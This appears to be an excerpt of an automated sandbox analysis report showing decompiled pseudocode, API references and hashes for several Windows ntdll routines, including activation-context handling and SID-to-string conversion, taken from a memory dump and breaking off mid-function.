0x6a96e5cc
0x6a96e5cf
0x6a96e5d6
0x6a96e5d8
0x00000000
0x6a96e5de
0x6a96e5e1
0x6a96e5e4
0x6a96e5e9
0x6a96e5f3
0x6a96e5f6
0x6a96e5f8
0x6a96e5fb
0x6a96e5fe
0x6a96e600
0x00000000
0x6a96e606
0x6a96e606
0x6a96e611
0x6a96e61d
0x6a96e61d
0x6a96e620
0x6a96e623
0x00000000
0x6a96e608
0x6a96e608
0x6a96e60b
0x00000000
0x00000000
0x00000000
0x00000000
0x6a96e60b
0x6a96e606
0x6a96e600
0x6a96e5d8
0x6a96e5c6
0x00000000
0x6a96e5ba
0x6a96e62b
0x00000000
0x6a96e62b
0x6a96e5ac
0x6a96e59a
0x00000000
0x00000000
0x00000000
0x6a910bb1
0x6a910bbc
0x6a910bc2

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6A910BAA

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: cd6735accf15b24efb07f38bb00421be04d963bc692961e735686cdc2cd99323
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: 38615B76A882099BEF24CA64CCC1BBE73B5AF15728F36413AE450DB2C4EF35C9508751

Uniqueness

Uniqueness Score: -1.00%

Function 6A918D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6A918D29(intOrPtr __ecx, intOrPtr* _a4, intOrPtr _a8, signed int* _a12) {
				char _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				void* _t104;
				signed int _t106;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				signed char* _t147;
				signed int _t149;
				intOrPtr _t152;
				void* _t156;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t165;
				intOrPtr* _t166;
				signed int* _t167;
				intOrPtr* _t168;
				signed int* _t169;
				signed int _t170;
				signed int _t172;
				void* _t174;
				short* _t175;
				short* _t176;
				void* _t177;
				void* _t178;
				void* _t187;

				_t152 = __ecx;
				_v12 = _v12 & 0x00000000;
				_t167 = _a12;
				_v28 = __ecx;
				_v20 = 0xc00000e5;
				if(_t167 != 0) {
					 *_t167 =  *_t167 & 0x00000000;
				}
				_push( &_v24);
				_t172 = 1;
				_push( &_v16);
				_push(1);
				_push(_t152);
				_push(_t152);
				_t149 = 0x30;
				_push(_t149);
				_push(_t167);
				_push(_a8);
				_push(_a4);
				E6A941D47( &_v20);
				if(_v12 == 0) {
					return _v20;
				} else {
					_push( &_v8);
					_push( &_v20);
					_t178 = _t177 - 0x14;
					_push( &_v12);
					_push( &_v12);
					_t104 = E6A918EE6(_v16, _v24);
					if(_t104 < 0) {
						return _t104;
					}
					_t163 = _v28;
					_t106 =  *((intOrPtr*)(_t163 + 0x18)) + _t163;
					_v12 = _t106;
					_t156 =  *((intOrPtr*)(_t106 + 0xc)) + _t163;
					if(1 >=  *((intOrPtr*)(_t106 + 8))) {
						L8:
						if(_t187 == 0) {
							_push(_t163);
							E6A9A5720(0x33, 0, "SXS: %s() found activation context data at %p with assembly roster that has no root\n", "RtlpQueryInformationActivationContextDetailedInformation");
							return 0xc0150003;
						}
						_t158 =  *((intOrPtr*)(_t172 * 0x18 + _t156 + 0x10)) + _t163;
						_v20 = _t158;
						_t33 = _t158 + 0x14; // 0x0
						_t110 =  *_t33;
						if(_t110 != 0) {
							_t34 = _t110 + 0x32; // 0x6a961822
							_t149 = _t34;
						}
						_t35 = _t158 + 0x28; // 0xffffffc4
						_t111 =  *_t35;
						if(_t111 != 0) {
							_t149 = _t149 + 2 + _t111;
						}
						_t113 =  *((intOrPtr*)(_v8 + 0x2c));
						if(_t113 != 0) {
							_t149 = _t149 + 2 + _t113;
						}
						if(_t149 <= _a8) {
							_t168 = _a4;
							_t174 = _a4 + 0x30;
							 *_t168 =  *((intOrPtr*)(_t163 + 0x1c));
							_t164 = _t168;
							 *((intOrPtr*)(_t164 + 4)) =  *((intOrPtr*)(_t163 + 8));
							 *((intOrPtr*)(_t164 + 8)) =  *((intOrPtr*)(_v12 + 8)) - 1;
							_t47 = _t158 + 0x10; // 0xfffffffe
							 *((intOrPtr*)(_t164 + 0xc)) =  *_t47;
							_t49 = _t158 + 0x14; // 0x0
							 *(_t164 + 0x24) =  *(_t164 + 0x24) & 0x00000000;
							 *(_t164 + 0x10) =  *_t49 >> 1;
							_t53 = _t158 + 0x24; // 0x0
							 *((intOrPtr*)(_t164 + 0x14)) =  *_t53;
							_t55 = _t158 + 0x28; // 0xffffffc4
							 *(_t164 + 0x28) =  *(_t164 + 0x28) & 0x00000000;
							 *(_t164 + 0x18) =  *_t55 >> 1;
							_t165 = _v8;
							 *((intOrPtr*)(_t168 + 0x1c)) =  *((intOrPtr*)(_t165 + 0x28));
							_t166 = _t168;
							_t169 = _a12;
							 *(_t166 + 0x2c) =  *(_t166 + 0x2c) & 0x00000000;
							 *(_t166 + 0x20) =  *(_t165 + 0x2c) >> 1;
							if( *(_t158 + 0x14) != 0) {
								_t68 = _t158 + 0x14; // 0x0
								_t69 = _t158 + 0x18; // 0x6a984765
								memcpy(_t174,  *_t69 + _v16,  *_t68);
								_t178 = _t178 + 0xc;
								_t158 = _v20;
								 *(_a4 + 0x24) = _t174;
								_t176 = _t174 +  *(_t158 + 0x14);
								 *_t176 = 0;
								_t174 = _t176 + 2;
							}
							if( *(_t158 + 0x28) != 0) {
								_t86 = _t158 + 0x28; // 0xffffffc4
								_t87 = _t158 + 0x2c; // 0x0
								memcpy(_t174,  *_t87 + _v16,  *_t86);
								_t178 = _t178 + 0xc;
								 *(_a4 + 0x28) = _t174;
								_t175 = _t174 +  *((intOrPtr*)(_v20 + 0x28));
								 *_t175 = 0;
								_t174 = _t175 + 2;
							}
							_t159 = _v8;
							if( *(_t159 + 0x2c) != 0) {
								memcpy(_t174,  *((intOrPtr*)(_t159 + 0x30)) + _t159,  *(_t159 + 0x2c));
								 *(_a4 + 0x2c) = _t174;
								 *((short*)(_t174 +  *((intOrPtr*)(_v8 + 0x2c)))) = 0;
							}
							if(_t169 != 0) {
								 *_t169 = _t149;
							}
							return 0;
						} else {
							if(_t167 != 0) {
								 *_t167 = _t149;
							}
							return 0xc0000023;
						}
					}
					_t170 = _v12;
					_t24 = _t156 + 0x18; // 0x116
					_t147 = _t24;
					while(( *_t147 & 0x00000002) == 0) {
						_t172 = _t172 + 1;
						_t147 =  &(_t147[0x18]);
						if(_t172 <  *((intOrPtr*)(_t170 + 8))) {
							continue;
						}
						break;
					}
					_t167 = _a12;
					_t187 = _t172 -  *((intOrPtr*)(_v12 + 8));
					goto L8;
				}
			}

0x6a918d29
0x6a918d31
0x6a918d38
0x6a918d3b
0x6a918d3e
0x6a918d47
0x6a918d49
0x6a918d49
0x6a918d51
0x6a918d55
0x6a918d56
0x6a918d57
0x6a918d58
0x6a918d59
0x6a918d5c
0x6a918d5d
0x6a918d5e
0x6a918d5f
0x6a918d65
0x6a918d6b
0x6a918d76
0x00000000
0x6a918d7c
0x6a918d82
0x6a918d86
0x6a918d87
0x6a918d8d
0x6a918d8e
0x6a918d92
0x6a918d99
0x6a918e14
0x6a918e14
0x6a918d9b
0x6a918da1
0x6a918da3
0x6a918da9
0x6a918dae
0x6a918dc8
0x6a918dc8
0x6a97348b
0x6a97349a
0x00000000
0x6a9734a2
0x6a918dd5
0x6a918dd7
0x6a918dda
0x6a918dda
0x6a918ddf
0x6a918de1
0x6a918de1
0x6a918de1
0x6a918de4
0x6a918de4
0x6a918de9
0x6a9734af
0x6a9734af
0x6a918df2
0x6a918df7
0x6a918dfc
0x6a918dfc
0x6a918e01
0x6a918e1a
0x6a918e20
0x6a918e23
0x6a918e28
0x6a918e2a
0x6a918e34
0x6a918e37
0x6a918e3a
0x6a918e3d
0x6a918e40
0x6a918e46
0x6a918e49
0x6a918e4c
0x6a918e4f
0x6a918e52
0x6a918e58
0x6a918e5b
0x6a918e61
0x6a918e67
0x6a918e69
0x6a918e6e
0x6a918e72
0x6a918e79
0x6a918e7b
0x6a918e7e
0x6a918e86
0x6a918e8e
0x6a918e91
0x6a918e94
0x6a918e99
0x6a918e9c
0x6a918e9f
0x6a918e9f
0x6a918ea6
0x6a9734b6
0x6a9734b9
0x6a9734c1
0x6a9734c9
0x6a9734cc
0x6a9734d2
0x6a9734d7
0x6a9734da
0x6a9734da
0x6a918eac
0x6a918eb3
0x6a918ebf
0x6a918ecc
0x6a918ed5
0x6a918ed5
0x6a918edb
0x6a918edd
0x6a918edd
0x00000000
0x6a918e03
0x6a918e05
0x6a918e07
0x6a918e07
0x00000000
0x6a918e09
0x6a918e01
0x6a918db0
0x6a918db3
0x6a918db3
0x6a918db6
0x6a973479
0x6a97347a
0x6a973480
0x00000000
0x00000000
0x00000000
0x6a973486
0x6a918dc2
0x6a918dc5
0x00000000
0x6a918dc5

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A918E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6A9617F0,00000000,?,00000000,?), ref: 6A918EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6A973491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6A97348C

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: 397ab9e9ae9e9773fabd8890394e4b54bbf00b760e72d80f4ec3535d8f92a00b
Instruction ID: 74df6fd898033693972ca3c4780be16a59a49bad51cda9bf4a4a084a50b80507
Opcode Fuzzy Hash: 397ab9e9ae9e9773fabd8890394e4b54bbf00b760e72d80f4ec3535d8f92a00b
Instruction Fuzzy Hash: 397150B5A00219EFDB14CF58C880E9AB7F9FF58318F258599E8189B302D730ED91CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6A9320A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A9320A0(intOrPtr* __ecx) {
				signed int _v0;
				signed int _v8;
				signed char _v60;
				signed int* _v64;
				signed char _v68;
				signed int* _v72;
				intOrPtr _v76;
				signed int* _v84;
				signed int* _v88;
				char _v92;
				signed int _v96;
				signed char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t111;
				void* _t133;
				signed char _t134;
				signed int* _t135;
				signed int* _t136;
				signed char _t138;
				signed int* _t142;
				signed int* _t144;
				void* _t145;
				intOrPtr* _t147;
				void* _t149;
				signed int _t152;
				signed int _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x64;
				_v8 =  *0x6aa0d360 ^ _t154;
				_t144 =  *( *[fs:0x18] + 0x1a8);
				_t147 = __ecx;
				if(_t144 == 0) {
					_t142 = 0;
				} else {
					_t142 =  *_t144;
				}
				_t138 =  *(_t147 + 0x10);
				if((_t138 & 0x00000040) != 0) {
					_v84 = 0;
					_v76 = 3;
					_v72 = 0;
					_v68 = _t147 + 8;
					_v64 =  *_t144;
					_push( &_v92);
					_v92 = 0xc0150011;
					_v88 = 0;
					_t104 = E6A96DEF0(_t138, _t142);
					goto L12;
				} else {
					if((_t138 & 0x00000020) == 0) {
						_v84 = 0;
						_v76 = 3;
						_v72 = 0;
						_v68 = _t147 + 8;
						_v64 =  *_t144;
						_v92 = 0xc0150010;
						L25:
						_v88 = 1;
						_push( &_v92);
						_t104 = E6A96DEF0(_t138, _t142);
						L12:
						_pop(_t145);
						_pop(_t149);
						_pop(_t133);
						return E6A95B640(_t104, _t133, _v0 ^ _t154, _t142, _t145, _t149);
					}
					_t104 = _t138 & 0x00000060;
					if((_t138 & 0x00000060) != 0x20) {
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t147 + 8;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					if( *_t147 < 0x24) {
						L8:
						if(_t142 != 0) {
							_t134 = _t142[2];
							_t104 = _t134 & 0x00000070;
							if((_t134 & 0x00000070) != 0x20) {
								L28:
								_v84 = 0;
								_v76 = 4;
								_v72 = _t144;
								_v68 = _t142;
								_v64 = _t142;
								_v60 = _t142[2];
								_v92 = 0xc0150014;
								goto L25;
							}
							if((_t134 & 0x00000008) != 0 ||  *((intOrPtr*)(_t142 - 8)) < 0x24) {
								goto L9;
							} else {
								if(_t142[3] !=  !( *_t142)) {
									goto L28;
								}
								_t104 =  !(_t142[1]);
								if(_t142[4] ==  !(_t142[1])) {
									goto L9;
								}
								goto L28;
							}
						}
						L9:
						if((_t138 & 0x00000010) == 0) {
							_t27 = _t147 + 8; // 0x2c
							_t135 = _t27;
							if(_t142 != _t135) {
								_t111 =  *_t144;
								_push(_t135);
								_push(_t111);
								_v100 = _t111;
								_v96 =  *_t135;
								E6A9A5720(0x33, 2, "SXS: %s() Active frame is not the frame being deactivated %p != %p\n", "RtlDeactivateActivationContextUnsafeFast");
								_t138 = _v100;
								_t154 = _t154 + 0x18;
								_t142 = 0;
								if(_t138 == 0) {
									L36:
									_v84 = 0;
									_v76 = 3;
									_v72 = _t142;
									_v68 = _t135;
									_v64 =  *_t144;
									if(_t138 == 0) {
										_v92 = 0xc0150010;
										_v88 = 1;
									} else {
										_v88 = 0;
										_v92 = (0 | _t142 == 0x00000000) * 2 - 0x3feafff1;
									}
									_push( &_v92);
									E6A96DEF0(_t138, _t142);
									goto L20;
								}
								while(_t138 != _v96) {
									if(( *(_t138 + 8) & 0x00000070) != 0x20 || ( *(_t138 + 8) & 0x00000008) == 0 && ( *((intOrPtr*)(_t138 + 0xc)) !=  !( *_t138) ||  *((intOrPtr*)(_t138 + 0x10)) !=  !( *(_t138 + 4)))) {
										_v84 = 0;
										_v76 = 4;
										_v72 = _t144;
										_v68 = _t138;
										_v64 = _t135;
										_v60 =  *(_t138 + 8);
										_v92 = 0xc0150014;
										goto L25;
									} else {
										_t138 =  *_t138;
										_t142 =  &(_t142[0]);
										if(_t138 != 0) {
											continue;
										}
										goto L36;
									}
								}
								goto L36;
							}
							L20:
							_t104 =  *_t135;
							 *_t144 =  *_t135;
						}
						 *(_t147 + 0x10) =  *(_t147 + 0x10) | 0x00000040;
						if( *_t147 >= 0x24) {
							_t104 = _v0;
							 *(_t147 + 0x20) = _v0;
						}
						goto L12;
					}
					_t9 = _t147 + 8; // 0x2c
					_t136 = _t9;
					if( *((intOrPtr*)(_t147 + 0x14)) !=  !( *(_t147 + 8))) {
						L27:
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t136;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					_t104 =  !( *(_t147 + 0xc));
					if( *((intOrPtr*)(_t147 + 0x18)) !=  !( *(_t147 + 0xc))) {
						goto L27;
					}
					goto L8;
				}
			}

0x6a9320a8
0x6a9320b2
0x6a9320bf
0x6a9320c5
0x6a9320c9
0x6a97cfc8
0x6a9320cf
0x6a9320cf
0x6a9320cf
0x6a9320d1
0x6a9320d7
0x6a97cfd2
0x6a97cfda
0x6a97cfe2
0x6a97cfea
0x6a97cff0
0x6a97cff8
0x6a97cff9
0x6a97d001
0x6a97d009
0x00000000
0x6a9320dd
0x6a9320e0
0x6a97d016
0x6a97d01e
0x6a97d026
0x6a97d02e
0x6a97d034
0x6a97d038
0x6a97d06d
0x6a97d071
0x6a97d079
0x6a97d07a
0x6a93212e
0x6a932132
0x6a932133
0x6a932134
0x6a93213f
0x6a93213f
0x6a9320e8
0x6a9320ec
0x6a97d087
0x6a97d08f
0x6a97d097
0x6a97d09b
0x6a97d09f
0x6a97d0a3
0x6a97d0a7
0x00000000
0x6a97d0a7
0x6a9320f5
0x6a932116
0x6a932118
0x6a932140
0x6a932145
0x6a932149
0x6a97d0db
0x6a97d0db
0x6a97d0e3
0x6a97d0eb
0x6a97d0ef
0x6a97d0f3
0x6a97d0fa
0x6a97d0fe
0x00000000
0x6a97d0fe
0x6a932152
0x00000000
0x6a93215a
0x6a932161
0x00000000
0x00000000
0x6a93216a
0x6a93216f
0x00000000
0x00000000
0x00000000
0x6a932171
0x6a932152
0x6a93211a
0x6a93211d
0x6a932176
0x6a932176
0x6a93217b
0x6a97d10b
0x6a97d10f
0x6a97d110
0x6a97d11f
0x6a97d123
0x6a97d127
0x6a97d12c
0x6a97d130
0x6a97d133
0x6a97d137
0x6a97d174
0x6a97d174
0x6a97d17c
0x6a97d184
0x6a97d188
0x6a97d18e
0x6a97d194
0x6a97d1b2
0x6a97d1ba
0x6a97d196
0x6a97d198
0x6a97d1ac
0x6a97d1ac
0x6a97d1c6
0x6a97d1c7
0x00000000
0x6a97d1c7
0x6a97d139
0x6a97d146
0x6a97d042
0x6a97d04a
0x6a97d052
0x6a97d056
0x6a97d05a
0x6a97d061
0x6a97d065
0x00000000
0x6a97d16d
0x6a97d16d
0x6a97d16f
0x6a97d172
0x00000000
0x00000000
0x00000000
0x6a97d172
0x6a97d146
0x00000000
0x6a97d139
0x6a932181
0x6a932181
0x6a932183
0x6a932183
0x6a93211f
0x6a932126
0x6a932128
0x6a93212b
0x6a93212b
0x00000000
0x6a932126
0x6a9320fa
0x6a9320fa
0x6a932102
0x6a97d0b1
0x6a97d0b1
0x6a97d0b9
0x6a97d0c1
0x6a97d0c5
0x6a97d0c9
0x6a97d0cd
0x6a97d0d1
0x00000000
0x6a97d0d1
0x6a93210b
0x6a932110
0x00000000
0x00000000
0x00000000
0x6a932110

APIs

RtlRaiseException.1105(?), ref: 6A97D009
RtlRaiseException.1105(C0150010), ref: 6A97D07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6A97D127
RtlRaiseException.1105(C0150010), ref: 6A97D1C7

Strings

RtlDeactivateActivationContextUnsafeFast, xrefs: 6A97D111
SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6A97D116

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: ec5a9cc7f29b1d16fd74fa5cee576498f90a06fe53d81ea91fd26d221105b616
Instruction ID: fec8991ef7cb923c5e8a8fbef682ac5be4fc72dc40cdace9574d95d7475fc495
Opcode Fuzzy Hash: ec5a9cc7f29b1d16fd74fa5cee576498f90a06fe53d81ea91fd26d221105b616
Instruction Fuzzy Hash: AD8111B09083019FD360CF19C48071AFBF4BB99348F205A2EE5999B351DB75D686CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 6A92A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A92A500(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4, void* _a8, char _a12) {
				signed int _v8;
				char _v10;
				char _v12;
				char _v508;
				char _v512;
				void _v520;
				struct _EXCEPTION_RECORD _v524;
				intOrPtr _v528;
				char _v532;
				void* __edi;
				void* __ebp;
				void* _t49;
				WCHAR* _t62;
				int _t65;
				void* _t80;
				signed char _t81;
				struct _EXCEPTION_RECORD _t82;
				int _t95;
				short _t98;
				void* _t112;
				short* _t114;
				signed short _t116;
				int _t117;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t113 = __esi;
				_t80 = __ebx;
				_v8 =  *0x6aa0d360 ^ _t119;
				_t112 = _a8;
				_push(_t112);
				_v524 = _a4;
				_t49 = E6A92A860(__eflags);
				if(_t49 != 1 ||  *_t112 != _t49) {
					_t50 = 0xc0000078;
					goto L25;
				} else {
					_push(__esi);
					E6A9671A0( &_v520, 0x100, L"S-1-");
					_t121 = _t120 + 0xc;
					_t114 =  &_v512;
					if( *(_t112 + 2) != 0 ||  *(_t112 + 3) != 0) {
						E6A967110( &_v520, 0x100, 0x6a90292c);
						_t114 =  &_v508;
						_t121 = _t121 + 0xc;
						_v528 = ( *(_t112 + 3) & 0x000000ff) + (( *(_t112 + 2) & 0x000000ff) << 8);
						_push(_t114);
						_v532 = (((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff);
						_push(0xfa);
						_t50 = E6A9B5BFD(_t80,  &_v532, _t112, _t114, __eflags);
					} else {
						_t111 = 0xa;
						_t50 = E6A92A6C0((((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff), 0xa, 0xfc, _t114);
					}
					if(_t50 < 0) {
						L24:
						_pop(_t113);
						L25:
						return E6A95B640(_t50, _t80, _v8 ^ _t119, _t111, _t112, _t113);
					} else {
						_push(_t80);
						_t81 = 0;
						if( *((intOrPtr*)(_t112 + 1)) <= 0) {
							L14:
							if(_a12 != 0) {
								_t62 =  &_v520;
								RtlCreateUnicodeString(_v524, _t62);
								__eflags = _t62;
								if(_t62 != 0) {
									L22:
									_t50 = 0;
									L23:
									_pop(_t80);
									goto L24;
								}
								_t50 = 0xc0000017;
								goto L23;
							}
							if(_t114 >=  &_v10) {
								L18:
								_t82 = _v524;
								_t116 = _t114 -  &_v520 & 0xfffffffe;
								_t65 =  *(_t82 + 2) & 0x0000ffff;
								_t95 = _t65;
								if(_t116 >= _t95) {
									_t50 = 0x80000005;
									goto L23;
								}
								_t112 =  *(_t82 + 4);
								_t117 = _t116 & 0x0000ffff;
								if(_t117 > _t65) {
									_t117 = _t95;
								}
								 *_t82 = _t117;
								memcpy(_t112,  &_v520, _t117);
								if(( *_t82 & 0x0000ffff) + 2 <= ( *(_t82 + 2) & 0x0000ffff)) {
									 *((short*)(_t112 + (_t117 >> 1) * 2)) = 0;
								}
								goto L22;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v10) {
									continue;
								}
								goto L18;
							}
							goto L18;
						}
						_t98 = 0x2d;
						do {
							if(_t114 >=  &_v12) {
								L12:
								 *_t114 = _t98;
								_t114 = _t114 + 2;
								_t111 = 0xa;
								if(E6A92A6C0( *((intOrPtr*)(_t112 + 8 + (_t81 & 0x000000ff) * 4)), 0xa, 0x100 - (_t114 -  &_v520 >> 1), _t114) < 0) {
									goto L23;
								}
								goto L13;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v12) {
									continue;
								}
								goto L12;
							}
							goto L12;
							L13:
							_t81 = _t81 + 1;
							_t98 = 0x2d;
						} while (_t81 <  *((intOrPtr*)(_t112 + 1)));
						goto L14;
					}
				}
			}

0x6a92a500
0x6a92a500
0x6a92a512
0x6a92a519
0x6a92a51c
0x6a92a51d
0x6a92a523
0x6a92a52a
0x6a97a2c0
0x00000000
0x6a92a538
0x6a92a538
0x6a92a54a
0x6a92a54f
0x6a92a552
0x6a92a55c
0x6a97a2db
0x6a97a2e4
0x6a97a2ee
0x6a97a2fa
0x6a97a31d
0x6a97a31e
0x6a97a32a
0x6a97a32f
0x6a92a56c
0x6a92a570
0x6a92a598
0x6a92a598
0x6a92a59f
0x6a92a684
0x6a92a684
0x6a92a685
0x6a92a693
0x6a92a5a5
0x6a92a5a5
0x6a92a5a6
0x6a92a5ab
0x6a92a610
0x6a92a614
0x6a92a696
0x6a92a6a3
0x6a92a6a8
0x6a92a6aa
0x6a92a681
0x6a92a681
0x6a92a683
0x6a92a683
0x00000000
0x6a92a683
0x6a92a6ac
0x00000000
0x6a92a6ac
0x6a92a61f
0x6a92a631
0x6a92a631
0x6a92a63f
0x6a92a642
0x6a92a646
0x6a92a64a
0x6a92a6b7
0x00000000
0x6a92a6b7
0x6a92a64c
0x6a92a64f
0x6a92a655
0x6a92a6b3
0x6a92a6b3
0x6a92a65e
0x6a92a663
0x6a92a677
0x6a92a67d
0x6a92a67d
0x00000000
0x6a92a677
0x6a92a621
0x6a92a627
0x6a92a62f
0x00000000
0x00000000
0x00000000
0x6a92a62f
0x00000000
0x6a92a621
0x6a92a5ad
0x6a92a5b2
0x6a92a5b7
0x6a92a5d0
0x6a92a5d0
0x6a92a5d9
0x6a92a5dc
0x6a92a5fe
0x00000000
0x00000000
0x00000000
0x6a92a5fe
0x6a92a5c0
0x6a92a5c6
0x6a92a5ce
0x00000000
0x00000000
0x00000000
0x6a92a5ce
0x00000000
0x6a92a604
0x6a92a604
0x6a92a606
0x6a92a60b
0x00000000
0x6a92a5b2
0x6a92a59f

APIs

RtlValidSid.1105(00000050,?), ref: 6A92A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6A92A54A

Part of subcall function 6A92A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6A92A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6A92A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6A92A6A3
wcscat_s.1105(?,00000100,6A90292C,?,00000050,?), ref: 6A97A2DB

Strings

S-1-, xrefs: 6A92A539

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 02689baf7b3dfc780411ccd01399fd848ead108bea2e33c7ba2632c6a4fa2191
Instruction ID: 522da2073e09740298455026897ea52ee7a3603076a65502954cb32d67dea1b2
Opcode Fuzzy Hash: 02689baf7b3dfc780411ccd01399fd848ead108bea2e33c7ba2632c6a4fa2191
Instruction Fuzzy Hash: F1512BB290416A6EEF248B288C587B9B7F4AF01304F1641AAD465D3A45EB38DE94CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A91CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6A91CCC0(signed short _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _t36;
				signed short _t39;
				signed int _t46;
				signed int _t55;
				intOrPtr _t57;
				unsigned int _t67;
				intOrPtr _t70;
				signed int _t79;
				void* _t84;
				void* _t90;
				signed int _t92;
				void* _t93;

				_push(0xfffffffe);
				_push(0x6a9ef828);
				_push(0x6a9617f0);
				_push( *[fs:0x0]);
				_t36 =  *0x6aa0d360;
				_v12 = _v12 ^ _t36;
				_push(_t36 ^ _t92);
				 *[fs:0x0] =  &_v20;
				_v28 = _t93 - 0xc;
				_t57 =  *[fs:0x18];
				if(_t57 == 0) {
					_t39 = _a4;
				} else {
					_v8 = 0;
					_t39 = _a4;
					 *(_t57 + 0xbf4) = _t39;
					_v8 = 0xfffffffe;
				}
				if(_t39 == 0) {
					 *[fs:0x0] = _v20;
					return 0;
				} else {
					if(_t39 == 0x103) {
						 *[fs:0x0] = _v20;
						return 0x3e5;
					} else {
						if((_t39 & 0x20000000) != 0) {
							L16:
							 *[fs:0x0] = _v20;
							return _t39;
						} else {
							if((_t39 & 0x00ff0000) == 0x70000) {
								_t67 = _t39 >> 0x18;
								if(_t67 != 0xc0) {
									if(_t67 != 0x80) {
										goto L6;
									} else {
										goto L21;
									}
								} else {
									goto L21;
								}
							} else {
								L6:
								if((_t39 & 0xf0000000) == 0xd0000000) {
									_t39 = _t39 & 0xcfffffff;
								}
								_t90 = 0;
								_t84 = 0x11e;
								do {
									_t79 = _t84 + _t90 >> 1;
									_t70 =  *((intOrPtr*)(0x6a8fa300 + _t79 * 8));
									_t55 = _t39 - _t70;
